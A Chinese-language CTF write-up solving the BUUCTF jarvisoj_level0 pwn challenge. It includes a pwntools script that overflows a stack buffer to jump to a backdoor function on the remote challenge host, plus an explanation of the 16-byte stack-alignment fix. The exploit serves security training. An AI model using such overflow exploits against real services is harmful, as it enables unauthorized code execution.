BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
unable code9 小时前
攻防世界-Misc-Wire1
网络安全·ctf·misc·1024程序员节
一岁天才饺子16 小时前
SSRF漏洞绕过与漏洞解决
网络·网络安全·ssrf
Chengbei1116 小时前
fastjson 原生反序列化配合动态代理绕过限制
java·安全·网络安全·系统安全·安全架构
m0_4660499717 小时前
Webgoat-(A1)Broken Access Control:Hijack a session
web安全·网络安全
Chengbei1117 小时前
CVE-2025-24813 Tomcat 最新 RCE 分析复现
java·安全·web安全·网络安全·tomcat·系统安全·网络攻击模型
JM丫18 小时前
buuctf-ciscn_2019_es_2(栈迁移)
ctf
QZ1665609515918 小时前
2025年国内精细化、可交互、轻量级的泛监测体系产品推荐
网络安全
GoldY丶19 小时前
【Geek渗透之路】小迪安全笔记——web安全(3)
笔记·安全·web安全·网络安全·安全威胁分析
晚风(●•σ )20 小时前
【华为 ICT & HCIA & eNSP 习题汇总】——题目集27
网络·计算机网络·网络安全·华为
unable code1 天前
攻防世界-Misc-Miscellaneous-200
网络安全·ctf·misc